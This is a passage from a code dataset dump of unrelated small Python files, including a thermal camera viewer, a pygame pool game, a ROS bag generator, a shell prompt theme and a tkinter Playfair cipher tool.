not in collection[movie])]\nprint(res)\n","repo_name":"rajatmishra3108/Daily-Flash-PYTHON","sub_path":"20 aug 2020/prog5.py","file_name":"prog5.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20885488772","text":"## Thermal FPS Test\n\nimport cv2\nimport sys\nimport time\nimport numpy\nimport math\nfrom PIL import Image, ImageOps\nfrom tinkerforge.ip_connection import IPConnection\nfrom tinkerforge.bricklet_thermal_imaging import BrickletThermalImaging\n\n\n#Tinkerforge Config\nHOST = \"localhost\"\nPORT = 4223\nUID = \"LcN\"\n\n\nprint(\"start Connection\")\nipcon = IPConnection() # Create IP connection\nti = BrickletThermalImaging(UID, ipcon) # Create device object\nipcon.connect(HOST, PORT) # Connect to brickd\nwhile ipcon.get_connection_state() == 2 :\n print(\".\")\nprint(ipcon.get_connection_state())\n\ndef get_thermal_image_color_palette():\n palette = []\n\n for x in range(256):\n x /= 255.0\n palette.append(int(round(255*math.sqrt(x)))) # RED\n palette.append(int(round(255*pow(x, 3)))) # GREEN\n if math.sin(2 * math.pi * x) >= 0:\n palette.append(int(round(255*math.sin(2 * math.pi * x)))) # BLUE\n else:\n palette.append(0)\n\n return palette\n\n\nfps = 0\ncount = 0\n\n\nti.set_image_transfer_config(ti.IMAGE_TRANSFER_MANUAL_HIGH_CONTRAST_IMAGE)\ntime.sleep(0.5)\n\n\nstart = time.time()\nwhile True:\n\n #request termalimage\n image_data = ti.get_high_contrast_image()\n \n # Display Thermal Image\n image = Image.new('P', (80, 60))\n image.putdata(image_data)\n image.putpalette(get_thermal_image_color_palette())\n #print(numpy.array(image))\n image = image.resize((80*8, 60*8), Image.ANTIALIAS)\n image = ImageOps.flip(image)\n img = numpy.array(image.convert('RGB'))\n img = img[:, :, ::-1].copy()\n \n \n ### FPS\n end = time.time()\n if (end - start > 2):\n fps = int(count / 2)\n start = time.time()\n count = 0\n print(fps)\n else:\n count += 1\n cv2.putText(img, f'FPS: {int(fps)}', (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0))\n \n #Show Image\n cv2.imshow('ThermalVideo', img)\n \n \n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\n\ncv2.destroyAllWindows()\nipcon.disconnect()\n","repo_name":"OliverGorges/Federated-learning-on-edge-devices","sub_path":"ThermalFPSTest.py","file_name":"ThermalFPSTest.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"41118549898","text":"from renamer import ReNamer\n\n#\n# DEMO\n#\n# Let ReNamer know which directory to alter\n# If no path is provided, will assume current directory\n#\n# Use show_dir() to preview filenames\n#\n# ReNamer will display proposed changes and ask for confirmation\n# before altering any files, for safety.\n#\n# TO DO\n# - Methods should return reference to self to allow chaining alterations\n# e.g. my_folder.replace(\"this\", \"that\").add_prefix(\"pre\")\n# - Add remove() method for easy removing occurences of a string (replace with \"\")\n# e.g. my_folder.remove(\"delete\") > my_folder.replace(\"delete\", \"\")\n# - Reversal method for undoing previous change(s)\n\nif __name__ == \"__main__\":\n path = \"./renamer_test_images/\"\n my_folder = ReNamer(path)\n\n my_folder.show_dir()\n\n my_folder.replace(\"grab\", \"shot\")\n #my_folder.replace(\"shot\", \"grab\")\n #my_folder.add_prefix(\"screen_\")\n #my_folder.add_suffix(\"-test\")\n\n my_folder.show_dir()\n","repo_name":"TurbulentRice/file_renamer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23679406159","text":"#task4\ninp_file = open(\"/content/drive/MyDrive/cse221/lab1/input4.txt\", mode = \"r\")\ndata = inp_file.readlines()\noutFile = open(\"/content/drive/MyDrive/cse221/lab1/output4.txt\", mode = \"w\")\nid = data[1].split()\nmarks = data[2].split()\nfor i in range(int(data[0])):\n high = i\n for j in range(i+1,len(marks)):\n if marks[high] < marks[j]:\n high = j\n elif marks[high] == marks[j]:\n if id[j] < id[i]:\n high = j\n marks[i],marks[high] = marks[high],marks[i]\n id[i],id[high]=id[high],id[i]\n print('ID:',id[i],'Mark:',marks[i], file = outFile)\ninp_file.close()\noutFile.close()","repo_name":"sigh8/CSE-221","sub_path":"lab1/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71427362007","text":"from django.contrib import admin\nfrom .models import Msgbox, SaveMsgbox, Alarm_Addcommentlike\n\n\nclass Alarm_AddcommentlikeAdmin(admin.ModelAdmin):\n list_display = ('id', 'likefrom', 'comment_user', 'act_type', 'content_id', 'comment_id', 'comment_table', 'checkitout','is_published', 'upload_date')\n list_display_links = ('id', 'likefrom', 'comment_user', 'comment_table', 'content_id', 'checkitout')\n list_editable = ('is_published',)\n list_per_page = 20\n\nclass MsgboxAdmin(admin.ModelAdmin):\n list_display = ('id', 'chat_id', 'send_user', 'from_user', 'is_checked', 'is_active', 'upload_date')\n list_display_links = ('id', 'chat_id')\n search_fields = ('id','chat_id','send_user__username','from_user__username')\n list_editable = ('is_active',)\n list_per_page = 20\n\nclass SaveMsgboxAdmin(admin.ModelAdmin):\n list_display = ('id', 'user', 'msgbox', 'is_published', 'upload_date')\n list_display_links = ('id', 'user', 'msgbox')\n search_fields = ('id','user__username', 'msgbox__send_user__username')\n list_editable = ('is_published',)\n list_per_page = 20\n\nadmin.site.register(Alarm_Addcommentlike, Alarm_AddcommentlikeAdmin)\nadmin.site.register(Msgbox, MsgboxAdmin)\nadmin.site.register(SaveMsgbox, SaveMsgboxAdmin)\n","repo_name":"ehdrn3020/edit_80_template","sub_path":"04_wego/wego/msgboxs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36684854241","text":"# Find the Power of a Number.\r\nimport math\r\n\r\nnum, power = map(int,input().split(\" \"))\r\n\r\n# using math library functions\r\nprint(int(math.pow(num, power)))\r\n\r\n# using loop\r\nans = 1\r\nfor i in range(1, power + 1):\r\n ans *= num\r\nprint(ans)","repo_name":"Gopal7476/Python-Programming","sub_path":"Getting Started/17.FindThePowerOfANumber.py","file_name":"17.FindThePowerOfANumber.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35036930476","text":"import pygame\n\nfrom collisions import *\n\nfrom ball import Ball\nfrom cue import Cue\nfrom image_loader import BALL_IMAGE, BALL_RED_IMAGE, BALL_YELLOW_IMAGE\nfrom table import Table\n\nfrom constants import HEIGHT, WIDTH, FPS, RED_BALL_PLACEMENT, YELLOW_BALL_PLACEMENT\n\nclass Game:\n\n def __init__(self) -> None:\n pygame.init()\n pygame.mixer.init()\n\n\n self.debug = False\n\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\n\n pygame.display.set_caption(\"Pool\")\n\n self.clock = pygame.time.Clock()\n\n self.table = Table()\n\n self.sprites = pygame.sprite.Group()\n\n self.player_ball = Ball(BALL_IMAGE)\n \n self.balls = [\n self.player_ball,\n ]\n\n \n self.sprites.add(self.table)\n self.sprites.add(self.player_ball)\n\n\n for b in RED_BALL_PLACEMENT:\n ball = Ball(BALL_RED_IMAGE)\n\n ball.set_position(b[0], b[1])\n\n self.balls.append(ball)\n self.sprites.add(ball)\n \n for b in YELLOW_BALL_PLACEMENT:\n ball = Ball(BALL_YELLOW_IMAGE)\n\n ball.set_position(b[0], b[1])\n\n self.balls.append(ball)\n self.sprites.add(ball)\n \n\n self.cue = Cue(self.player_ball)\n\n self.player_ball.set_position(WIDTH // 4, HEIGHT // 2)\n\n\n self.running = False\n\n\n def run(self):\n running = True\n\n while running:\n delta_time = self.clock.tick(FPS)\n\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n running = False\n\n elif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n #self.cue.trigger_mouse(Vec2.to_vec2(event.pos))\n self.cue.start_mouse_hold()\n\n elif event.type == pygame.MOUSEBUTTONUP and event.button == 1:\n self.cue.stop_mouse_hold()\n\n\n for ball in self.balls:\n if ball.potted:\n if ball == self.player_ball:\n ball.set_position(WIDTH // 4, HEIGHT // 2)\n ball.potted = False\n ball.velocity.set(0, 0)\n continue\n self.balls.remove(ball)\n self.sprites.remove(ball)\n\n self.sprites.update()\n\n\n ##############\n check_ball_collisions(self.balls)\n check_table_collisions(self.balls)\n check_holes_collision(self.balls)\n ##############\n\n\n\n\n self.sprites.draw(self.screen)\n\n if not any(map(lambda x:x.moving, self.balls)):\n self.cue.update()\n self.screen.blit(self.cue.image, self.cue.rect)\n\n\n if self.debug:\n holes = [\n Vec2(TABLE_OFFSET + 10, TABLE_OFFSET + 10),\n Vec2(TABLE_OFFSET + 10, HEIGHT - TABLE_OFFSET - 10),\n Vec2(WIDTH - TABLE_OFFSET - 10, TABLE_OFFSET + 10),\n Vec2(WIDTH - TABLE_OFFSET - 10, HEIGHT - TABLE_OFFSET - 10),\n Vec2(WIDTH // 2, TABLE_OFFSET - 10),\n Vec2(WIDTH // 2, HEIGHT - TABLE_OFFSET + 10),\n ]\n for hole in holes:\n pygame.draw.circle(self.screen, (0, 255, 0), hole.values(), 30)\n \n\n pygame.display.flip()\n\n \n pygame.quit()","repo_name":"Badis-Bfifteen/python-pool-game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28461435471","text":"\"\"\"dummy_test - Dummy test package for testing purposes\n\nThis package is super small and light used for pip testing purposes\n\n\"\"\"\n\nclassifiers = \"\"\"\\\nDevelopment Status :: 5 - Production/Stable\nEnvironment :: Console\nIntended Audience :: Developers\nLicense :: OSI Approved :: MIT License\nOperating System :: OS Independent\nProgramming Language :: Python :: 2\nTopic :: Software Development :: Quality Assurance\nTopic :: Software Development :: Testing\n\"\"\".splitlines()\n\nfrom setuptools import setup\n\ndoc = __doc__.splitlines()\n\nsetup(\n name=\"dummy_test\",\n version=\"0.1.3\",\n packages=['dummy_test'],\n zip_safe=False,\n author='Kien Pham',\n author_email='kien@sendgrid.com',\n url=\"https://github.com/kienpham2000/dummy_test\",\n license='MIT',\n description=doc[0],\n long_description='\\n'.join(doc[2:]),\n keywords='dummy test',\n classifiers=classifiers\n)","repo_name":"kpx-dev/dummy_test","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38787707936","text":"import os\nimport subprocess\nfrom prompt_toolkit.styles import Style\nfrom pathlib import Path\nfrom socket import gethostname\nimport getpass\nimport shutil\nfrom datetime import datetime\n\nstyle = Style.from_dict({\n 'parantheses1': '#FFFFFF bold',\n 'username': '#FF0000 bold',\n 'parantheses2': '#FFFFFF bold',\n 'parantheses3': '#FFFFFF bold',\n 'hostname': '#00FF00 bold',\n 'pipe': '#FFFFFF bold',\n 'date-time': '#0FFFFF bold',\n 'parantheses4': '#FFFFFF bold',\n 'parantheses5': '#FFFFFF bold',\n 'git-branch': '#0000FF bold',\n 'star' : '#FFFF00 bold',\n 'parantheses6': '#FFFFFF bold',\n 'end': \"#FFFF00 bold\"\n})\n\nHOME_DIR = str(Path.home())\nhostname = str(gethostname())\nhistory = Path(HOME_DIR + \"/.yash_history\")\n\nx = subprocess.getoutput(\"git rev-parse --is-inside-work-tree\")\n\nrightNow = datetime.now()\nnow = rightNow.strftime(\"%d/%m/%Y %H:%M:%S\")\n\npart1=\"\"\npart2=\"\"\npart3=\"\"\npart4=\"\"\npart5=\"\"\npart6=\"\"\npart7=\"\"\npart8=\"\"\npart9=\"\"\npart10=\"\"\npart11=\"\"\npart12=\"\"\npart13=\"\"\n\nif str(x) == \"true\":\n changed_files = subprocess.getoutput(\"git ls-files -m\")\n added_files = subprocess.getoutput(\"git diff --name-only --cached\")\n current_branch = subprocess.getoutput(\"git branch --show-current\")\n noOfColumns = shutil.get_terminal_size()[0]\n if len(changed_files) != 0 or len(added_files) != 0:\n part1 = \"(\" \n part2 = str(getpass.getuser()) + \"@\" + str(os.path.basename(os.getcwd()))\n part3 = \")\"\n part5 = hostname\n part6 =\" | \"\n part7 = now\n part8 = \")\" + \"\\n\"\n new_str = part1 + part2 + part3 + part5 + part6 + part7 + part8\n width = noOfColumns - len(new_str) -1\n part4 = \"(\".rjust(width, \"-\")\n part9 = \"(\"\n part10 = current_branch + \" \"\n part11 = \"*\"\n part12 = \")\"\n part13 = \"$ \"\n else: \n part1 = \"(\" \n part2 = str(getpass.getuser()) + \"@\" + str(os.path.basename(os.getcwd()))\n part3 = \")\"\n part5 = hostname\n part6 =\" | \"\n part7 = now\n part8 = \")\" + \"\\n\"\n new_str = part1 + part2 + part3 + part5 + part6 + part7 + part8\n width = noOfColumns - len(new_str) -1\n part4 = \"(\".rjust(width, \"-\")\n part9 = \"(\"\n part10 = current_branch + \" \"\n part11 = \"✔\"\n part12 = \")\"\n part13 = \"$ \" \nelse: \n noOfColumns = shutil.get_terminal_size()[0]\n part1 = \"(\" \n part2 = str(getpass.getuser()) + \"@\" + str(os.path.basename(os.getcwd()))\n part3 = \")\"\n part5 = hostname\n part6 =\" | \"\n part7 = now\n part8 = \")\" + \"\\n\"\n new_str = part1 + part2 + part3 + part5 + part6 + part7 + part8\n width = noOfColumns - len(new_str) -1\n part4 = \"(\".rjust(width, \"-\")\n part13 = \"$ \"\n\ninput_required = [\n ('class:parantheses1', part1),\n ('class:username', part2),\n ('class:parantheses2', part3),\n ('class:parantheses3', part4),\n ('class:hostname', part5),\n ('class:pipe', part6),\n ('class:date-time', part7),\n ('class:parantheses4', part8),\n ('class:parantheses5', part9),\n ('class:git-branch', part10),\n ('class:star', part11),\n ('class:parantheses6', part12),\n ('class:end', part13)\n]\n\n","repo_name":"NeoDrags/neosh","sub_path":"neosh/themes/neoTheme.py","file_name":"neoTheme.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"35672577564","text":"import cv2 \nimport time, sys, os\nfrom ros import rosbag\nimport roslib\nimport rospy\nroslib.load_manifest('sensor_msgs')\nfrom sensor_msgs.msg import Image,Imu\nfrom geometry_msgs.msg import Vector3\nfrom cv_bridge import CvBridge\nfrom numpy import asarray\n\n# import ImageFile\nfrom PIL import ImageFile\nfrom PIL import Image as ImagePIL\n\ndef CompSortFileNamesNr(f):\n g = os.path.splitext(os.path.split(f)[1])[0] #get the file of the\n numbertext = ''.join(c for c in g if c.isdigit())\n return int(numbertext)\n\ndef ReadIMU(IMUFile):\n '''return IMU data and timestamp of IMU'''\n IMUfp = open(IMUFile,'r')\n IMULines = IMUfp.readlines()\n #all = IMUDatas.readlines()\n IMUDatas = {}\n for l in IMULines:\n if l[0] == \"#\":\n continue;\n items = l.rstrip('\\n').split(' ')\n IMUDatas[items[0]] = items[1:]\n \n IMUfp.close()\n return IMUDatas \n\ndef ReadImages(assocoations):\n assofp = open(assocoations, 'r')\n asso = assofp.readlines()\n RGBImages = {}\n depthImages = {}\n for l in asso:\n if l[0] == \"#\":\n continue;\n items = l.rstrip('\\n').split(' ')\n RGBImages[items[0]] = items[1]\n depthImages[items[2]] = items[3]\n\n assofp.close()\n return RGBImages, depthImages\n\ndef CreateBag(args):#assocoations, imu, output_bag_name\n '''read assocoations.txt'''\n RGBImages,depthImages = ReadImages(args[1])\n\n IMUDatas = ReadIMU(args[2]) #the url of IMU data\n\n '''Creates a bag file with camera images'''\n if not os.path.exists(args[3]):\n os.system(r'touch %s' % args[3])\n else:\n os.system(r'rm %s' % args[3])\n os.system(r'touch %s' % args[3])\n\n bagName = rosbag.Bag(args[3], 'w')\n\n try:\n for it, iData in IMUDatas.items():\n imu = Imu()\n imuStamp = rospy.rostime.Time.from_sec(float(it))\n #angular_v = Vector3()\n linear_a = Vector3()\n #angular_v.x = float(iData[0])\n #angular_v.y = float(iData[1])\n #angular_v.z = float(iData[2])\n linear_a.x = float(iData[0])\n linear_a.y = float(iData[1])\n linear_a.z = float(iData[2])\n imu.header.stamp = imuStamp\n #imu.angular_velocity = angular_v\n imu.linear_acceleration = linear_a\n\n bagName.write(\"/imu\",imu,imuStamp)\n\n br = CvBridge()\n\n for imt, img in RGBImages.items():\n #img = args[2] + img; \n print(\"Adding %s\" % img)\n\n cv_image = cv2.imread(img)\n\n Stamp = rospy.rostime.Time.from_sec(float(imt))\n\n '''set image information '''\n Img = br.cv2_to_imgmsg(cv_image)\n Img.header.stamp = Stamp\n Img.header.frame_id = \"camera\"\n\n '''for mono8'''\n Img.encoding = \"rgb8\"\n bagName.write('/camera/rgb/image_color', Img, Stamp)\n\n for dt, dimg in depthImages.items():\n #dimg = args[2] + dimg; \n print(\"Adding %s\" % dimg)\n\n cv_image = cv2.imread(dimg, cv2.IMREAD_ANYDEPTH)\n\n '''set image information '''\n Stamp = rospy.rostime.Time.from_sec(float(dt))\n\n '''set image information '''\n dImg = br.cv2_to_imgmsg(cv_image)\n dImg.header.stamp = Stamp\n dImg.header.frame_id = \"camera\"\n\n #dImg.encoding = \"32FC1\"\n\n bagName.write('/camera/depth/image', dImg, Stamp)\n\n finally:\n bagName.close()\n\nif __name__ == \"__main__\":\n print(sys.argv)\n\n if len(sys.argv) < 4:\n print(\"Usage:\\n\\t python generate_bags.py /path/assocoations.txt /path/accelerometer.txt output.bag\")\n exit(1)\n\n CreateBag(sys.argv)\n\n","repo_name":"haohaoalt/hao_datasets","sub_path":"tum2bag/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"71230042329","text":"from tkinter import *\nimport tkinter.ttk as ttk\nfrom tkinter.constants import *\nfrom tkinter import messagebox\nalphabetRUS=set('АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя')\nalphabetENG=set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz')\ndef match(text,alphabet):\n for c in text:\n if c in alphabet:\n return True\n return False\ndef keyF(key):\n for char in key: # copies and iterates passing a value to char everytime\n key = key[1:] # deletes the first character in the string x\n if char in key: # checks if there is char in x string\n return False\n return True\ndef playfair():\n\n def polybiusE():\n openSTR = openText.get(1.0, END)\n openSTR = openSTR[:-1]\n key = keyPolybius.get()\n language = TCombobox1.get()\n if language == \"Русский\":\n if match(openSTR,alphabetENG):\n messagebox.showerror('Ошибка', 'Неверный алфавит.')\n else:\n if not key.isalpha() or match(key,alphabetENG) or not keyF(key):\n messagebox.showerror('Ошибка', 'Неверный ключ.')\n else:\n if not 1:\n messagebox.showerror('Ошибка', 'Неверный сдвиг.')\n else:\n rusB = \"АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯÈÉÊ\" # Алфавит\n key = key.upper() # Кодовое слово\n rusBtemp = rusB\n for i in range(len(key)):\n rusBtemp = rusBtemp.replace(key[i], '')\n sq = key + rusBtemp\n sqP = [[0 for i in range(6)] for j in range(6)]\n for i in range(6):\n for j in range(6):\n sqP[i][j] = sq[6 * i + j]\n print(sqP)\n openText1 = openSTR # Открытый текст\n cipherSTR = \"\"\n simvol = [[], []]\n slow = []\n\n for k in range(len(openText1)):\n if not openText1[k].isalpha():\n simvol[0].append(openText1[k])\n simvol[1].append(k)\n\n for k in openText1:\n if not k.isalpha():\n openText1 = openText1.replace(k, '')\n for k in range(len(openText1)):\n if openText1[k].islower():\n slow.append(k)\n openText2 = openText1.upper()\n\n for i in range(0, len(openText2), 2):\n if i == len(openText2) - 1:\n break\n if openText2[i] == openText2[i + 1]:\n if openText2[i] == \"Х\":\n openText2 = openText2[:i + 1] + \"Ф\" + openText2[i + 1:]\n else:\n openText2 = openText2[:i + 1] + \"Х\" + openText2[i + 1:]\n\n for u in range(len(simvol[1])):\n if i + 1 < simvol[1][u]:\n simvol[1][u] += 1\n\n for u in range(len(slow)):\n if i + 1 <= slow[u]:\n slow[u] += 1\n\n if len(openText2) % 2 != 0:\n openText2 = openText2 + \"Х\"\n print(openText2)\n for k in range(0, len(openText2)-1, 2):\n l = [0, 0, 0, 0]\n for i in range(6):\n for j in range(6):\n if openText2[k] == sqP[i][j]:\n l[0] = i\n l[1] = j\n if openText2[k + 1] == sqP[i][j]:\n l[2] = i\n l[3] = j\n if l[1] == l[3]:\n cipherSTR = cipherSTR + sqP[(l[0] + 1) % 6][l[1]] + sqP[(l[2] + 1) % 6][l[3]]\n print(cipherSTR)\n elif l[0] == l[2]:\n cipherSTR = cipherSTR + sqP[l[0]][(l[1] + 1) % 6] + sqP[l[2]][(l[3] + 1) % 6]\n print(cipherSTR)\n else:\n cipherSTR = cipherSTR + sqP[l[0]][l[3]] + sqP[l[2]][l[1]]\n print(cipherSTR)\n\n for i in slow:\n cipherSTR = cipherSTR[:i] + cipherSTR[i].lower() + cipherSTR[i + 1:]\n print(cipherSTR)\n for i in range(len(simvol[0])):\n cipherSTR = cipherSTR[:int(simvol[1][i])] + simvol[0][i] + cipherSTR[int(simvol[1][i]):]\n\n cipherText.delete(1.0, END)\n cipherText.insert(1.0, cipherSTR)\n if language == \"Английский\":\n if match(openSTR, alphabetRUS):\n messagebox.showerror('Ошибка', 'Неверный алфавит.')\n else:\n if not key.isalpha() or match(key, alphabetRUS) or not keyF(key):\n messagebox.showerror('Ошибка', 'Неверный ключ.')\n else:\n if not 1:\n messagebox.showerror('Ошибка', 'Неверный сдвиг.')\n else:\n engB = \"ABCDEFGHIKLMNOPQRSTUVWXYZ\" # Алфавит\n # Кодовое слово\n key = key.upper()\n engBtemp = engB\n for i in range(len(key)):\n engBtemp = engBtemp.replace(key[i], '')\n sq = key + engBtemp\n sqP = [[0 for i in range(5)] for j in range(5)]\n for i in range(5):\n for j in range(5):\n sqP[i][j] = sq[5 * i + j]\n\n # Зашифрование\n openText1 = openSTR # Открытый текст\n cipherSTR = \"\"\n iStr = \"\"\n jStr = \"\"\n simvol = [[], []]\n slow = []\n\n for k in range(len(openText1)):\n if not openText1[k].isalpha():\n simvol[0].append(openText1[k])\n simvol[1].append(k)\n\n for k in openText1:\n if not k.isalpha():\n openText1 = openText1.replace(k, '')\n for k in range(len(openText1)):\n if openText1[k].islower():\n slow.append(k)\n openText2 = openText1.upper()\n openText2 = openText2.replace('J', 'I')\n\n for i in range(0, len(openText2), 2):\n if i == len(openText2) - 1:\n break\n if openText2[i] == openText2[i + 1]:\n if openText2[i] == \"X\":\n openText2 = openText2[:i + 1] + \"Q\" + openText2[i + 1:]\n else:\n openText2 = openText2[:i + 1] + \"X\" + openText2[i + 1:]\n\n for u in range(len(simvol[1])):\n if i + 1 < simvol[1][u]:\n simvol[1][u] += 1\n\n for u in range(len(slow)):\n if i + 1 <= slow[u]:\n slow[u] += 1\n\n if len(openText2) % 2 != 0:\n openText2 = openText2 + \"X\"\n\n for k in range(0, len(openText2), 2):\n l = [0, 0, 0, 0]\n for i in range(5):\n for j in range(5):\n if openText2[k] == sqP[i][j]:\n l[0] = i\n l[1] = j\n if openText2[k + 1] == sqP[i][j]:\n l[2] = i\n l[3] = j\n if l[1] == l[3]:\n cipherSTR = cipherSTR + sqP[(l[0] + 1) % 5][l[1]] + sqP[(l[2] + 1) % 5][l[3]]\n if l[0] == l[2]:\n cipherSTR = cipherSTR + sqP[l[0]][(l[1] + 1) % 5] + sqP[l[2]][(l[3] + 1) % 5]\n else:\n cipherSTR = cipherSTR + sqP[l[0]][l[3]] + sqP[l[2]][l[1]]\n\n for i in slow:\n cipherSTR = cipherSTR[:i] + cipherSTR[i].lower() + cipherSTR[i + 1:]\n for i in range(len(simvol[0])):\n cipherSTR = cipherSTR[:int(simvol[1][i])] + simvol[0][i] + cipherSTR[int(simvol[1][i]):]\n\n\n cipherText.delete(1.0, END)\n cipherText.insert(1.0, cipherSTR)\n\n\n def polybiusD():\n cipherT = cipherText.get(1.0, END)\n cipherT = cipherT[:-1]\n key = keyPolybius.get()\n language = TCombobox1.get()\n if language == \"Русский\":\n if match(cipherT, alphabetENG):\n messagebox.showerror('Ошибка', 'Неверный алфавит.')\n else:\n if not key.isalpha() or match(key, alphabetENG) or not keyF(key):\n messagebox.showerror('Ошибка', 'Неверный ключ.')\n else:\n if not 1:\n messagebox.showerror('Ошибка', 'Неверный сдвиг.')\n else:\n rusB = \"АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯÈÉÊ\" # Алфавит\n key = key.upper() # Кодовое слово\n rusBtemp = rusB\n for i in range(len(key)):\n rusBtemp = rusBtemp.replace(key[i], '')\n sq = key + rusBtemp\n sqP = [[0 for i in range(6)] for j in range(6)]\n for i in range(6):\n for j in range(6):\n sqP[i][j] = sq[6 * i + j]\n\n openText1 = cipherT # Открытый текст\n cipherSTR = \"\"\n simvol = [[], []]\n slow = []\n\n for k in range(len(openText1)):\n if not openText1[k].isalpha():\n simvol[0].append(openText1[k])\n simvol[1].append(k)\n\n for k in openText1:\n if not k.isalpha():\n openText1 = openText1.replace(k, '')\n for k in range(len(openText1)):\n if openText1[k].islower():\n slow.append(k)\n openText2 = openText1.upper()\n\n for k in range(0, len(openText2)-1, 2):\n l = [0, 0, 0, 0]\n for i in range(6):\n for j in range(6):\n if openText2[k] == sqP[i][j]:\n l[0] = i\n l[1] = j\n if openText2[k + 1] == sqP[i][j]:\n l[2] = i\n l[3] = j\n if l[1] == l[3]:\n cipherSTR = cipherSTR + sqP[(l[0] - 1) % 6][l[1]] + sqP[(l[2] - 1) % 6][l[3]]\n elif l[0] == l[2]:\n cipherSTR = cipherSTR + sqP[l[0]][(l[1] - 1) % 6] + sqP[l[2]][(l[3] - 1) % 6]\n else:\n cipherSTR = cipherSTR + sqP[l[0]][l[3]] + sqP[l[2]][l[1]]\n\n for i in slow:\n cipherSTR = cipherSTR[:i] + cipherSTR[i].lower() + cipherSTR[i + 1:]\n for i in range(len(simvol[0])):\n cipherSTR = cipherSTR[:int(simvol[1][i])] + simvol[0][i] + cipherSTR[int(simvol[1][i]):]\n\n print(cipherSTR)\n cipherSTR = cipherSTR.replace(\"Х\", '')\n print(cipherSTR)\n openText.delete(1.0, END)\n openText.insert(1.0, cipherSTR)\n if language == \"Английский\":\n if match(cipherT, alphabetRUS):\n messagebox.showerror('Ошибка', 'Неверный алфавит.')\n else:\n if not key.isalpha() or match(key, alphabetRUS) or not keyF(key):\n messagebox.showerror('Ошибка', 'Неверный ключ.')\n else:\n if not 1:\n messagebox.showerror('Ошибка', 'Неверный сдвиг.')\n else:\n engB = \"ABCDEFGHIKLMNOPQRSTUVWXYZ\" # Алфавит\n # Кодовое слово\n key = key.upper()\n engBtemp = engB\n for i in range(len(key)):\n engBtemp = engBtemp.replace(key[i], '')\n sq = key + engBtemp\n sqP = [[0 for i in range(5)] for j in range(5)]\n for i in range(5):\n for j in range(5):\n sqP[i][j] = sq[5 * i + j]\n\n # Расшифрование\n\n openText1 = cipherT # Открытый текст\n cipherSTR = \"\"\n simvol = [[], []]\n slow = []\n\n for k in range(len(openText1)):\n if not openText1[k].isalpha():\n simvol[0].append(openText1[k])\n simvol[1].append(k)\n\n for k in openText1:\n if not k.isalpha():\n openText1 = openText1.replace(k, '')\n for k in range(len(openText1)):\n if openText1[k].islower():\n slow.append(k)\n openText2 = openText1.upper()\n\n for k in range(0, len(openText2), 2):\n l = [0, 0, 0, 0]\n for i in range(5):\n for j in range(5):\n if openText2[k] == sqP[i][j]:\n l[0] = i\n l[1] = j\n if openText2[k + 1] == sqP[i][j]:\n l[2] = i\n l[3] = j\n if l[1] == l[3]:\n cipherSTR = cipherSTR + sqP[(l[0] - 1) % 5][l[1]] + sqP[(l[2] - 1) % 5][l[3]]\n if l[0] == l[2]:\n cipherSTR = cipherSTR + sqP[l[0]][(l[1] - 1) % 5] + sqP[l[2]][(l[3] - 1) % 5]\n else:\n cipherSTR = cipherSTR + sqP[l[0]][l[3]] + sqP[l[2]][l[1]]\n\n for i in slow:\n cipherSTR = cipherSTR[:i] + cipherSTR[i].lower() + cipherSTR[i + 1:]\n for i in range(len(simvol[0])):\n cipherSTR = cipherSTR[:int(simvol[1][i])] + simvol[0][i] + cipherSTR[int(simvol[1][i]):]\n\n print(cipherSTR)\n cipherSTR = cipherSTR.replace(\"X\", '')\n print(cipherSTR)\n openText.delete(1.0, END)\n openText.insert(1.0, cipherSTR)\n\n\n def polybiusI():\n messagebox.showinfo('Об Квадрате Полибия', 'В криптографии квадрат Полибия (англ. Polybius square), '\n 'также известный как шахматная доска Полибия — оригинальный '\n 'код простой замены, одна из древнейших систем кодирования, '\n 'предложенная Полибием')\n\n polybiusW = Tk()\n polybiusW.geometry(\"716x263+322+179\")\n polybiusW.title(\"Шифр Плейфера\")\n polybiusW.configure(background=\"#ffcece\")\n\n openText = Text(polybiusW)\n openText.place(relx=0.029, rely=0.3, relheight=0.612, relwidth=0.37)\n openText.configure(background=\"white\")\n openText.configure(borderwidth=\"2\")\n openText.configure(font=\"-family {@Malgun Gothic} -size 13\")\n openText.configure(foreground=\"black\")\n\n cipherText = Text(polybiusW)\n cipherText.place(relx=0.601, rely=0.3, relheight=0.612, relwidth=0.37)\n 